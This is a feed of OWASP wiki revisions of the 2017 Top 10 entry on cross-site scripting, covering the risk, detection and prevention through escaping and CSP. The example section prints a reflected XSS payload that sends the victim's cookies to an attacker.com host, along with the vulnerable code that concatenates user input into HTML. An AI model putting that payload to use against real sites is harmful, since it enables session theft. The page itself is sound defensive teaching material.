    |type={{Top_10_2010:StyleTemplate}}&lt;br /&gt;
    |usenext=2013NextLink&lt;br /&gt;
    |next=A4-{{Top_10_2010:ByTheNumbers&lt;br /&gt;
              |4&lt;br /&gt;
              |year=2017&lt;br /&gt;
              |language=en}}&lt;br /&gt;
    |useprev=2013PrevLink&lt;br /&gt;
    |prev=A2-{{Top_10_2010:ByTheNumbers&lt;br /&gt;
              |2&lt;br /&gt;
              |year=2017&lt;br /&gt;
              |language=en}}&lt;br /&gt;
    |year=2017&lt;br /&gt;
    |language=en&lt;br /&gt;
}}&lt;/div&gt;</summary>
		<author><name>Eelgheez</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Top_10-2017_A7-Cross-Site_Scripting_(XSS)&amp;diff=230162</id>
		<title>Top 10-2017 A7-Cross-Site Scripting (XSS)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Top_10-2017_A7-Cross-Site_Scripting_(XSS)&amp;diff=230162"/>
				<updated>2017-05-31T19:09:49Z</updated>
		
		<summary type="html">&lt;p&gt;Eelgheez: Correct the abuse scenario.  Change the style from prescriptive to descriptive to sustain the Burden of Proof.&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Top_10_2013:TopTemplate&lt;br /&gt;
    |usenext=2013NextLink&lt;br /&gt;
    |next=A4-{{Top_10_2010:ByTheNumbers&lt;br /&gt;
              |4&lt;br /&gt;
              |year=2017&lt;br /&gt;
              |language=en}}&lt;br /&gt;
    |useprev=2013PrevLink&lt;br /&gt;
    |prev=A2-{{Top_10_2010:ByTheNumbers&lt;br /&gt;
              |2&lt;br /&gt;
              |year=2017&lt;br /&gt;
              |language=en}}&lt;br /&gt;
    |year=2017&lt;br /&gt;
    |language=en&lt;br /&gt;
}}&lt;br /&gt;
&lt;br /&gt;
{{Top_10_2010:SummaryTableHeaderBeginTemplate|year=2017|language=en}}&lt;br /&gt;
{{Top_10:SummaryTableTemplate|exploitability=2|prevalence=0|detectability=2|impact=2|year=2017|language=en}}&lt;br /&gt;
{{Top_10_2010:SummaryTableHeaderEndTemplate|year=2017}}&lt;br /&gt;
     &amp;lt;td {{Template:Top 10 2010:SummaryTableRowStyleTemplate}}&amp;gt;&lt;br /&gt;
Consider anyone who can send untrusted data to the system, including external users, business partners, other systems, internal users, and administrators.&lt;br /&gt;
&amp;lt;/td&amp;gt;&lt;br /&gt;
     &amp;lt;td {{Template:Top 10 2010:SummaryTableRowStyleTemplate}}&amp;gt;&lt;br /&gt;
Attackers send text-based attack scripts that exploit the interpreter in the browser. Almost any source of data can be an attack vector, including internal sources such as data from the database.&lt;br /&gt;
&amp;lt;/td&amp;gt;&lt;br /&gt;
&lt;br /&gt;
     &amp;lt;td colspan=2  {{Template:Top 10 2010:SummaryTableRowStyleTemplate}}&amp;gt;&lt;br /&gt;
&amp;lt;u&amp;gt;[[Cross-site_Scripting_(XSS) | XSS]]&amp;lt;/u&amp;gt; flaws occur when an application updates a web page with attacker controlled data without properly escaping that content or using a safe JavaScript API. There are two primary categories of XSS flaws: (1) &amp;lt;u&amp;gt;[[Cross-site_Scripting_(XSS)#Stored_and_Reflected_XSS_Attacks|Stored]]&amp;lt;/u&amp;gt; and (2) &amp;lt;u&amp;gt;[[Cross-site_Scripting_(XSS)#Stored_and_Reflected_XSS_Attacks|Reflected]]&amp;lt;/u&amp;gt;, and each of these can occur on the a) &amp;lt;u&amp;gt;[[Types_of_Cross-Site_Scripting#Server_XSS | Server ]]&amp;lt;/u&amp;gt; or b) on the &amp;lt;u&amp;gt;[[Types_of_Cross-Site_Scripting#Client_XSS | Client]]&amp;lt;/u&amp;gt;. Detection of most &amp;lt;u&amp;gt;[[Types_of_Cross-Site_Scripting#Server_XSS | Server XSS]]&amp;lt;/u&amp;gt; flaws is fairly easy via testing or code analysis. &amp;lt;u&amp;gt;[[Types_of_Cross-Site_Scripting#Client_XSS | Client XSS]]&amp;lt;/u&amp;gt; is very difficult to identify.&lt;br /&gt;
&amp;lt;/td&amp;gt;&lt;br /&gt;
     &amp;lt;td {{Template:Top 10 2010:SummaryTableRowStyleTemplate}}&amp;gt;&lt;br /&gt;
Attackers can execute scripts in a victim’s browser to hijack user sessions, deface web sites, insert hostile content, redirect users, hijack the user’s browser using malware, etc.&lt;br /&gt;
&amp;lt;/td&amp;gt;&lt;br /&gt;
     &amp;lt;td {{Template:Top 10 2010:SummaryTableRowStyleTemplate}}&amp;gt;Consider the business value of the affected system and all the data it processes.&lt;br /&gt;
&lt;br /&gt;
Also consider the business impact of public exposure of the vulnerability.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/td&amp;gt;&lt;br /&gt;
{{Top_10_2010:SummaryTableEndTemplate}}&lt;br /&gt;
&lt;br /&gt;
{{Top_10:SubsectionTableBeginTemplate|type=main}} {{Top_10_2010:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|subsection=vulnerableTo|position=firstLeft|risk=3|year=2017|language=en}}&lt;br /&gt;
You are vulnerable to &amp;lt;u&amp;gt;[[Types_of_Cross-Site_Scripting#Server_XSS|Server XSS]]&amp;lt;/u&amp;gt; if your server-side code uses user-supplied input as part of the HTML output, and you don’t use context-sensitive escaping to ensure it cannot run. If a web page uses JavaScript to dynamically add attacker-controllable data to a page, you may have &amp;lt;u&amp;gt;[[Types_of_Cross-Site_Scripting#Client_XSS|Client XSS]]&amp;lt;/u&amp;gt;. Ideally, you would avoid sending attacker-controllable data to &amp;lt;u&amp;gt;[[Media:Unraveling_some_Mysteries_around_DOM-based_XSS.pdf|unsafe JavaScript APIs]]&amp;lt;/u&amp;gt;, but escaping (and to a lesser extent) input validation can be used to make this safe.&lt;br /&gt;
&lt;br /&gt;
Automated tools can find some XSS problems automatically. However, each application builds output pages differently and uses different browser side interpreters such as JavaScript, ActiveX, Flash, and Silverlight, usually using 3rd party libraries built on top of these technologies. This diveristy makes automated detection difficult, particularly when using modern single-page applications and powerful JavaScript frameworks and libraries. Therefore, complete coverage requires a combination of manual code review and penetration testing, in addition to automated approaches.&lt;br /&gt;
{{Top_10_2010:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|subsection=howPrevent|position=right|risk=3|year=2017|language=en}}&lt;br /&gt;
Preventing XSS requires separation of untrusted data from active browser content.&lt;br /&gt;
# Escaping untrusted HTTP request data based on the context in the HTML output (body, attribute, JavaScript, CSS, or URL) will resolve &amp;lt;u&amp;gt;[[Types_of_Cross-Site_Scripting#Server_XSS|Server XSS]]&amp;lt;/u&amp;gt; vulnerabilities. The &amp;lt;u&amp;gt;[[XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet|OWASP XSS Prevention Cheat Sheet]]&amp;lt;/u&amp;gt; has details on the required data escaping techniques.&lt;br /&gt;
# Applying context sensitive encoding when modifying the browser document on the client side acts against &amp;lt;u&amp;gt;[[Types_of_Cross-Site_Scripting#Client_XSS|Client XSS]]&amp;lt;/u&amp;gt;.  Details specific to client-side input processing reside in &amp;lt;u&amp;gt;[[DOM_based_XSS_Prevention_Cheat_Sheet|OWASP DOM based XSS Prevention Cheat Sheet]]&amp;lt;/u&amp;gt;.&lt;br /&gt;
# Enabling a &amp;lt;u&amp;gt;[https://en.wikipedia.org/wiki/Content_Security_Policy Content Security Policy (CSP)]&amp;lt;/u&amp;gt; and moving inline javascript code to additional files will defend against XSS across the entire site, assuming no other vulnerabilities (such as upload path tampering or download path traversal) exist that would allow placing malicious code in the server files.&lt;br /&gt;
&lt;br /&gt;
{{Top_10_2010:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|subsection=example|position=left|risk=3|year=2017|language=en}}&lt;br /&gt;
The application generating response in &amp;lt;code&amp;gt;&amp;lt;nowiki&amp;gt;https://target.test/dashboard&amp;lt;/nowiki&amp;gt;&amp;lt;/code&amp;gt; uses untrusted data in the construction of the following HTML snippet without validation or escaping:&lt;br /&gt;
&lt;br /&gt;
{{Top_10_2010:ExampleBeginTemplate|year=2017}}&amp;lt;b&amp;gt;&lt;br /&gt;
(String) page += &amp;quot;&amp;lt;input name='creditcard' type='TEXT'&amp;lt;br&amp;gt;value='&amp;quot; + &amp;lt;span style=&amp;quot;color:red;&amp;quot;&amp;gt;request.getParameter(&amp;quot;CC&amp;quot;)&amp;lt;/span&amp;gt; + &amp;quot;'&amp;gt;&amp;quot;;&lt;br /&gt;
&amp;lt;/b&amp;gt;{{Top_10_2010:ExampleEndTemplate}}&lt;br /&gt;
&lt;br /&gt;
The attacker manipulates the `CC' parameter to the following value &lt;br /&gt;
&lt;br /&gt;
{{Top_10_2010:ExampleBeginTemplate|year=2017}}&amp;lt;b&amp;gt;&amp;lt;span style=&amp;quot;color:red;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;amp;#x27;&amp;amp;gt;&amp;amp;lt;script&amp;amp;gt;document.location=&amp;lt;br/&amp;gt;&amp;amp;#x27;&amp;lt;nowiki&amp;gt;http://www.attacker.com/log?&amp;lt;br/&amp;gt;cookies=&amp;amp;#x27;+document.cookie&amp;lt;/nowiki&amp;gt;&amp;amp;lt;/script&amp;amp;gt;&amp;amp;lt;foobar p=&amp;amp;#x27;&lt;br /&gt;
&amp;lt;/span&amp;gt;&amp;lt;/b&amp;gt;{{Top_10_2010:ExampleEndTemplate}}&lt;br /&gt;
&lt;br /&gt;
in the query string and sends the resulting link &amp;lt;code&amp;gt;&amp;lt;nowiki&amp;gt;https://target.test/dashboard?CC=...&amp;lt;/nowiki&amp;gt;&amp;lt;/code&amp;gt; with the malicious value to the victim.  Alternatively, the attacker can wait for the victim to visit another vulnerable site that will redirect to the target site using the above link.  The victim's browser will render the target site's HTML text violated in structure and purpose by the above `CC' parameter value.&lt;br /&gt;
&lt;br /&gt;
{{Top_10_2010:ExampleBeginTemplate|year=2017}}&lt;br /&gt;
&amp;lt;b&amp;gt;&amp;amp;lt;input name='creditcard' type='TEXT'&amp;lt;br&amp;gt;value='&amp;lt;span style=&amp;quot;color:red;&amp;quot;&amp;gt;'&amp;amp;gt;&amp;amp;lt;script&amp;amp;gt;document.location=&amp;lt;br/&amp;gt;&amp;amp;#x27;&amp;lt;nowiki&amp;gt;http://www.attacker.com/log?&amp;lt;/nowiki&amp;gt;&amp;lt;br/&amp;gt;cookies=&amp;amp;#x27;+document.cookie&amp;amp;lt;/script&amp;gt;&amp;amp;lt;foobar p=&amp;amp;#x27;&amp;lt;/span&amp;gt;&amp;amp;#x27;&amp;amp;gt;&amp;lt;/b&amp;gt;&lt;br /&gt;
{{Top_10_2010:ExampleEndTemplate}}&lt;br /&gt;
&lt;br /&gt;
This attack causes the victim’s session ID to be sent to the attacker’s website, allowing the attacker to hijack the user’s current session. &lt;br /&gt;
Note that attackers can also use XSS to defeat any  automated CSRF defense the application might employ. See &amp;lt;u&amp;gt;[[{{Top_10:LanguageFile|text=documentRootTop10|language=en|year=2017 }}-A8-{{Top_10_2010:ByTheNumbers|8|year=2017|language=en}}|2017-A8]]&amp;lt;/u&amp;gt; for info on CSRF.&lt;br /&gt;
&lt;br /&gt;
{{Top_10_2010:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|subsection=references|position=right|risk=3|year=2017|language=en}}&lt;br /&gt;
{{Top_10_2010:SubSubsectionOWASPReferencesTemplate}}&lt;br /&gt;
* &amp;lt;u&amp;gt;[[Types of Cross-Site Scripting]]&amp;lt;/u&amp;gt;&lt;br /&gt;
* &amp;lt;u&amp;gt;[[XSS (Cross Site Scripting) Prevention Cheat Sheet | OWASP XSS Prevention Cheat Sheet]]&amp;lt;/u&amp;gt;&lt;br /&gt;
* &amp;lt;u&amp;gt;[[DOM_based_XSS_Prevention_Cheat_Sheet | OWASP DOM based XSS Prevention Cheat Sheet]]&amp;lt;/u&amp;gt;&lt;br /&gt;
* &amp;lt;u&amp;gt;[[OWASP_Java_Encoder_Project#Use_the_Java_Encoder_Project | OWASP Java Encoder API]]&amp;lt;/u&amp;gt;&amp;lt;!--- tab syntax for internal links including tabs: &amp;lt;link&amp;gt;#&amp;lt;tab-description&amp;gt; ---&amp;gt;&lt;br /&gt;
* &amp;lt;u&amp;gt;[[ASVS | ASVS: Output Encoding/Escaping Requirements (V6)]]&amp;lt;/u&amp;gt;&lt;br /&gt;
* &amp;lt;u&amp;gt;[[AntiSamy | OWASP AntiSamy: Sanitization Library]]&amp;lt;/u&amp;gt;&lt;br /&gt;
* &amp;lt;u&amp;gt;[[Testing_for_Data_Validation | Testing Guide: 1st 3 Chapters on Data Validation Testing]]&amp;lt;/u&amp;gt;&lt;br /&gt;
* &amp;lt;u&amp;gt;[[Reviewing_Code_for_Cross-site_scripting | OWASP Code Review Guide: Chapter on XSS Review]]&amp;lt;/u&amp;gt;&lt;br /&gt;
* &amp;lt;u&amp;gt;[[XSS_Filter_Evasion_Cheat_Sheet | OWASP XSS Filter Evasion Cheat Sheet]]&amp;lt;/u&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{{Top_10_2010:SubSubsectionExternalReferencesTemplate|language=en}}&lt;br /&gt;
* &amp;lt;u&amp;gt;[http://cwe.mitre.org/data/definitions/79.html CWE Entry 79 on Cross-Site Scripting]&amp;lt;/u&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{{Top_10_2013:BottomAdvancedTemplate&lt;br /&gt;
    |type={{Top_10_2010:StyleTemplate}}&lt;br /&gt;
    |usenext=2013NextLink&lt;br /&gt;
    |next=A4-{{Top_10_2010:ByTheNumbers&lt;br /&gt;
              |4&lt;br /&gt;
              |year=2017&lt;br /&gt;
              |language=en}}&lt;br /&gt;
    |useprev=2013PrevLink&lt;br /&gt;
    |prev=A2-{{Top_10_2010:ByTheNumbers&lt;br /&gt;
              |2&lt;br /&gt;
              |year=2017&lt;br /&gt;
              |language=en}}&lt;br /&gt;
    |year=2017&lt;br /&gt;
    |language=en&lt;br /&gt;
}}&lt;/div&gt;</summary>
		<author><name>Eelgheez</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Top_10-2017_A7-Cross-Site_Scripting_(XSS)&amp;diff=230161</id>
		<title>Top 10-2017 A7-Cross-Site Scripting (XSS)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Top_10-2017_A7-Cross-Site_Scripting_(XSS)&amp;diff=230161"/>
				<updated>2017-05-31T19:06:03Z</updated>
		
		<summary type="html">&lt;p&gt;Eelgheez: Correct the abuse scenario.  Change the style from prescriptive to descriptive to sustain the Burden of Proof.&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Top_10_2013:TopTemplate&lt;br /&gt;
    |usenext=2013NextLink&lt;br /&gt;
    |next=A4-{{Top_10_2010:ByTheNumbers&lt;br /&gt;
              |4&lt;br /&gt;
              |year=2017&lt;br /&gt;
              |language=en}}&lt;br /&gt;
    |useprev=2013PrevLink&lt;br /&gt;
    |prev=A2-{{Top_10_2010:ByTheNumbers&lt;br /&gt;
              |2&lt;br /&gt;
              |year=2017&lt;br /&gt;
              |language=en}}&lt;br /&gt;
    |year=2017&lt;br /&gt;
    |language=en&lt;br /&gt;
}}&lt;br /&gt;
&lt;br /&gt;
{{Top_10_2010:SummaryTableHeaderBeginTemplate|year=2017|language=en}}&lt;br /&gt;
{{Top_10:SummaryTableTemplate|exploitability=2|prevalence=0|detectability=2|impact=2|year=2017|language=en}}&lt;br /&gt;
{{Top_10_2010:SummaryTableHeaderEndTemplate|year=2017}}&lt;br /&gt;
     &amp;lt;td {{Template:Top 10 2010:SummaryTableRowStyleTemplate}}&amp;gt;&lt;br /&gt;
Consider anyone who can send untrusted data to the system, including external users, business partners, other systems, internal users, and administrators.&lt;br /&gt;
&amp;lt;/td&amp;gt;&lt;br /&gt;
     &amp;lt;td {{Template:Top 10 2010:SummaryTableRowStyleTemplate}}&amp;gt;&lt;br /&gt;
Attackers send text-based attack scripts that exploit the interpreter in the browser. Almost any source of data can be an attack vector, including internal sources such as data from the database.&lt;br /&gt;
&amp;lt;/td&amp;gt;&lt;br /&gt;
&lt;br /&gt;
     &amp;lt;td colspan=2  {{Template:Top 10 2010:SummaryTableRowStyleTemplate}}&amp;gt;&lt;br /&gt;
&amp;lt;u&amp;gt;[[Cross-site_Scripting_(XSS) | XSS]]&amp;lt;/u&amp;gt; flaws occur when an application updates a web page with attacker controlled data without properly escaping that content or using a safe JavaScript API. There are two primary categories of XSS flaws: (1) &amp;lt;u&amp;gt;[[Cross-site_Scripting_(XSS)#Stored_and_Reflected_XSS_Attacks|Stored]]&amp;lt;/u&amp;gt; and (2) &amp;lt;u&amp;gt;[[Cross-site_Scripting_(XSS)#Stored_and_Reflected_XSS_Attacks|Reflected]]&amp;lt;/u&amp;gt;, and each of these can occur on the a) &amp;lt;u&amp;gt;[[Types_of_Cross-Site_Scripting#Server_XSS | Server ]]&amp;lt;/u&amp;gt; or b) on the &amp;lt;u&amp;gt;[[Types_of_Cross-Site_Scripting#Client_XSS | Client]]&amp;lt;/u&amp;gt;. Detection of most &amp;lt;u&amp;gt;[[Types_of_Cross-Site_Scripting#Server_XSS | Server XSS]]&amp;lt;/u&amp;gt; flaws is fairly easy via testing or code analysis. &amp;lt;u&amp;gt;[[Types_of_Cross-Site_Scripting#Client_XSS | Client XSS]]&amp;lt;/u&amp;gt; is very difficult to identify.&lt;br /&gt;
&amp;lt;/td&amp;gt;&lt;br /&gt;
     &amp;lt;td {{Template:Top 10 2010:SummaryTableRowStyleTemplate}}&amp;gt;&lt;br /&gt;
Attackers can execute scripts in a victim’s browser to hijack user sessions, deface web sites, insert hostile content, redirect users, hijack the user’s browser using malware, etc.&lt;br /&gt;
&amp;lt;/td&amp;gt;&lt;br /&gt;
     &amp;lt;td {{Template:Top 10 2010:SummaryTableRowStyleTemplate}}&amp;gt;Consider the business value of the affected system and all the data it processes.&lt;br /&gt;
&lt;br /&gt;
Also consider the business impact of public exposure of the vulnerability.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/td&amp;gt;&lt;br /&gt;
{{Top_10_2010:SummaryTableEndTemplate}}&lt;br /&gt;
&lt;br /&gt;
{{Top_10:SubsectionTableBeginTemplate|type=main}} {{Top_10_2010:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|subsection=vulnerableTo|position=firstLeft|risk=3|year=2017|language=en}}&lt;br /&gt;
You are vulnerable to &amp;lt;u&amp;gt;[[Types_of_Cross-Site_Scripting#Server_XSS|Server XSS]]&amp;lt;/u&amp;gt; if your server-side code uses user-supplied input as part of the HTML output, and you don’t use context-sensitive escaping to ensure it cannot run. If a web page uses JavaScript to dynamically add attacker-controllable data to a page, you may have &amp;lt;u&amp;gt;[[Types_of_Cross-Site_Scripting#Client_XSS|Client XSS]]&amp;lt;/u&amp;gt;. Ideally, you would avoid sending attacker-controllable data to &amp;lt;u&amp;gt;[[Media:Unraveling_some_Mysteries_around_DOM-based_XSS.pdf|unsafe JavaScript APIs]]&amp;lt;/u&amp;gt;, but escaping (and to a lesser extent) input validation can be used to make this safe.&lt;br /&gt;
&lt;br /&gt;
Automated tools can find some XSS problems automatically. However, each application builds output pages differently and uses different browser side interpreters such as JavaScript, ActiveX, Flash, and Silverlight, usually using 3rd party libraries built on top of these technologies. This diveristy makes automated detection difficult, particularly when using modern single-page applications and powerful JavaScript frameworks and libraries. Therefore, complete coverage requires a combination of manual code review and penetration testing, in addition to automated approaches.&lt;br /&gt;
{{Top_10_2010:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|subsection=howPrevent|position=right|risk=3|year=2017|language=en}}&lt;br /&gt;
Preventing XSS requires separation of untrusted data from active browser content.&lt;br /&gt;
# Escaping untrusted HTTP request data based on the context in the HTML output (body, attribute, JavaScript, CSS, or URL) will resolve &amp;lt;u&amp;gt;[[Types_of_Cross-Site_Scripting#Server_XSS|Server XSS]]&amp;lt;/u&amp;gt; vulnerabilities. The &amp;lt;u&amp;gt;[[XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet|OWASP XSS Prevention Cheat Sheet]]&amp;lt;/u&amp;gt; has details on the required data escaping techniques.&lt;br /&gt;
# Applying context sensitive encoding when modifying the browser document on the client side acts against &amp;lt;u&amp;gt;[[Types_of_Cross-Site_Scripting#Client_XSS|Client XSS]]&amp;lt;/u&amp;gt;.  Details specific to client-side input processing reside in &amp;lt;u&amp;gt;[[DOM_based_XSS_Prevention_Cheat_Sheet|OWASP DOM based XSS Prevention Cheat Sheet]]&amp;lt;/u&amp;gt;.&lt;br /&gt;
# Enabling a &amp;lt;u&amp;gt;[https://en.wikipedia.org/wiki/Content_Security_Policy Content Security Policy (CSP)]&amp;lt;/u&amp;gt; and moving inline javascript code to additional files will defend against XSS across the entire site, assuming no other vulnerabilities (such as upload path tampering or download path traversal) exist that would allow placing malicious code in the server files.&lt;br /&gt;
&lt;br /&gt;
{{Top_10_2010:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|subsection=example|position=left|risk=3|year=2017|language=en}}&lt;br /&gt;
The application generating response in &amp;lt;code&amp;gt;&amp;lt;nowiki&amp;gt;https://target.test/dashboard&amp;lt;/nowiki&amp;gt;&amp;lt;/code&amp;gt; uses untrusted data in the construction of the following HTML snippet without validation or escaping:&lt;br /&gt;
&lt;br /&gt;
{{Top_10_2010:ExampleBeginTemplate|year=2017}}&amp;lt;b&amp;gt;&lt;br /&gt;
(String) page += &amp;quot;&amp;lt;input name='creditcard' type='TEXT'&amp;lt;br&amp;gt;value='&amp;quot; + &amp;lt;span style=&amp;quot;color:red;&amp;quot;&amp;gt;request.getParameter(&amp;quot;CC&amp;quot;)&amp;lt;/span&amp;gt; + &amp;quot;'&amp;gt;&amp;quot;;&lt;br /&gt;
&amp;lt;/b&amp;gt;{{Top_10_2010:ExampleEndTemplate}}&lt;br /&gt;
&lt;br /&gt;
The attacker manipulates the `CC' parameter to the following value &lt;br /&gt;
&lt;br /&gt;
{{Top_10_2010:ExampleBeginTemplate|year=2017}}&amp;lt;b&amp;gt;&amp;lt;span style=&amp;quot;color:red;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;amp;#x27;&amp;amp;gt;&amp;amp;lt;script&amp;amp;gt;document.location=&amp;lt;br/&amp;gt;&amp;amp;#x27;&amp;lt;nowiki&amp;gt;http://www.attacker.com/cgi-bin/cookie.cgi?&amp;lt;br/&amp;gt;foo=&amp;amp;#x27;+document.cookie&amp;lt;/nowiki&amp;gt;&amp;amp;lt;/script&amp;amp;gt;&amp;amp;lt;foobar p=&amp;amp;#x27;&lt;br /&gt;
&amp;lt;/span&amp;gt;&amp;lt;/b&amp;gt;{{Top_10_2010:ExampleEndTemplate}}&lt;br /&gt;
&lt;br /&gt;
in the query string and sends the resulting link &amp;lt;code&amp;gt;&amp;lt;nowiki&amp;gt;https://target.test/dashboard?CC=...&amp;lt;/nowiki&amp;gt;&amp;lt;/code&amp;gt; with the malicious value to the victim.  Alternatively, the attacker can wait for the victim to visit another vulnerable site that will redirect to the target site using the above link.  The victim's browser will render the target site's HTML text violated in structure and purpose by the above `CC' parameter value.&lt;br /&gt;
&lt;br /&gt;
{{Top_10_2010:ExampleBeginTemplate|year=2017}}&lt;br /&gt;
&amp;lt;b&amp;gt;&amp;amp;lt;input name='creditcard' type='TEXT'&amp;lt;br&amp;gt;value='&amp;lt;span style=&amp;quot;color:red;&amp;quot;&amp;gt;'&amp;amp;gt;&amp;amp;lt;script&amp;amp;gt;document.location=&amp;lt;br/&amp;gt;&amp;amp;#x27;&amp;lt;nowiki&amp;gt;http://www.attacker.com/cgi-bin/cookie.cgi?&amp;lt;/nowiki&amp;gt;&amp;lt;br/&amp;gt;foo=&amp;amp;#x27;+document.cookie&amp;amp;lt;/script&amp;gt;&amp;amp;lt;foobar p=&amp;amp;#x27;&amp;lt;/span&amp;gt;&amp;amp;#x27;&amp;amp;gt;&amp;lt;/b&amp;gt;&lt;br /&gt;
{{Top_10_2010:ExampleEndTemplate}}&lt;br /&gt;
&lt;br /&gt;
This attack causes the victim’s session ID to be sent to the attacker’s website, allowing the attacker to hijack the user’s current session. &lt;br /&gt;
Note that attackers can also use XSS to defeat any  automated CSRF defense the application might employ. See &amp;lt;u&amp;gt;[[{{Top_10:LanguageFile|text=documentRootTop10|language=en|year=2017 }}-A8-{{Top_10_2010:ByTheNumbers|8|year=2017|language=en}}|2017-A8]]&amp;lt;/u&amp;gt; for info on CSRF.&lt;br /&gt;
&lt;br /&gt;
{{Top_10_2010:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|subsection=references|position=right|risk=3|year=2017|language=en}}&lt;br /&gt;
{{Top_10_2010:SubSubsectionOWASPReferencesTemplate}}&lt;br /&gt;
* &amp;lt;u&amp;gt;[[Types of Cross-Site Scripting]]&amp;lt;/u&amp;gt;&lt;br /&gt;
* &amp;lt;u&amp;gt;[[XSS (Cross Site Scripting) Prevention Cheat Sheet | OWASP XSS Prevention Cheat Sheet]]&amp;lt;/u&amp;gt;&lt;br /&gt;
* &amp;lt;u&amp;gt;[[DOM_based_XSS_Prevention_Cheat_Sheet | OWASP DOM based XSS Prevention Cheat Sheet]]&amp;lt;/u&amp;gt;&lt;br /&gt;
* &amp;lt;u&amp;gt;[[OWASP_Java_Encoder_Project#Use_the_Java_Encoder_Project | OWASP Java Encoder API]]&amp;lt;/u&amp;gt;&amp;lt;!--- tab syntax for internal links including tabs: &amp;lt;link&amp;gt;#&amp;lt;tab-description&amp;gt; ---&amp;gt;&lt;br /&gt;
* &amp;lt;u&amp;gt;[[ASVS | ASVS: Output Encoding/Escaping Requirements (V6)]]&amp;lt;/u&amp;gt;&lt;br /&gt;
* &amp;lt;u&amp;gt;[[AntiSamy | OWASP AntiSamy: Sanitization Library]]&amp;lt;/u&amp;gt;&lt;br /&gt;
* &amp;lt;u&amp;gt;[[Testing_for_Data_Validation | Testing Guide: 1st 3 Chapters on Data Validation Testing]]&amp;lt;/u&amp;gt;&lt;br /&gt;
* &amp;lt;u&amp;gt;[[Reviewing_Code_for_Cross-site_scripting | OWASP Code Review Guide: Chapter on XSS Review]]&amp;lt;/u&amp;gt;&lt;br /&gt;
* &amp;lt;u&amp;gt;[[XSS_Filter_Evasion_Cheat_Sheet | OWASP XSS Filter Evasion Cheat Sheet]]&amp;lt;/u&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{{Top_10_2010:SubSubsectionExternalReferencesTemplate|language=en}}&lt;br /&gt;
* &amp;lt;u&amp;gt;[http://cwe.mitre.org/data/definitions/79.html CWE Entry 79 on Cross-Site Scripting]&amp;lt;/u&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{{Top_10_2013:BottomAdvancedTemplate&lt;br /&gt;
    |type={{Top_10_2010:StyleTemplate}}&lt;br /&gt;
    |usenext=2013NextLink&lt;br /&gt;
    |next=A4-{{Top_10_2010:ByTheNumbers&lt;br /&gt;
              |4&lt;br /&gt;
              |year=2017&lt;br /&gt;
              |language=en}}&lt;br /&gt;
    |useprev=2013PrevLink&lt;br /&gt;
    |prev=A2-{{Top_10_2010:ByTheNumbers&lt;br /&gt;
              |2&lt;br /&gt;
              |year=2017&lt;br /&gt;
              |language=en}}&lt;br /&gt;
    |year=2017&lt;br /&gt;
    |language=en&lt;br /&gt;
}}&lt;/div&gt;</summary>
		<author><name>Eelgheez</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Top_10-2017_A7-Cross-Site_Scripting_(XSS)&amp;diff=230160</id>
		<title>Top 10-2017 A7-Cross-Site Scripting (XSS)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Top_10-2017_A7-Cross-Site_Scripting_(XSS)&amp;diff=230160"/>
				<updated>2017-05-31T19:02:47Z</updated>
		
		<summary type="html">&lt;p&gt;Eelgheez: Correct the abuse scenario.  Change the style from prescriptive to descriptive to sustain the Burden of Proof.&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Top_10_2013:TopTemplate&lt;br /&gt;
    |usenext=2013NextLink&lt;br /&gt;
    |next=A4-{{Top_10_2010:ByTheNumbers&lt;br /&gt;
              |4&lt;br /&gt;
              |year=2017&lt;br /&gt;
              |language=en}}&lt;br /&gt;
    |useprev=2013PrevLink&lt;br /&gt;
    |prev=A2-{{Top_10_2010:ByTheNumbers&lt;br /&gt;
              |2&lt;br /&gt;
              |year=2017&lt;br /&gt;
              |language=en}}&lt;br /&gt;
    |year=2017&lt;br /&gt;
    |language=en&lt;br /&gt;
}}&lt;br /&gt;
&lt;br /&gt;
{{Top_10_2010:SummaryTableHeaderBeginTemplate|year=2017|language=en}}&lt;br /&gt;
{{Top_10:SummaryTableTemplate|exploitability=2|prevalence=0|detectability=2|impact=2|year=2017|language=en}}&lt;br /&gt;
{{Top_10_2010:SummaryTableHeaderEndTemplate|year=2017}}&lt;br /&gt;
     &amp;lt;td {{Template:Top 10 2010:SummaryTableRowStyleTemplate}}&amp;gt;&lt;br /&gt;
Consider anyone who can send untrusted data to the system, including external users, business partners, other systems, internal users, and administrators.&lt;br /&gt;
&amp;lt;/td&amp;gt;&lt;br /&gt;
     &amp;lt;td {{Template:Top 10 2010:SummaryTableRowStyleTemplate}}&amp;gt;&lt;br /&gt;
Attackers send text-based attack scripts that exploit the interpreter in the browser. Almost any source of data can be an attack vector, including internal sources such as data from the database.&lt;br /&gt;
&amp;lt;/td&amp;gt;&lt;br /&gt;
&lt;br /&gt;
     &amp;lt;td colspan=2  {{Template:Top 10 2010:SummaryTableRowStyleTemplate}}&amp;gt;&lt;br /&gt;
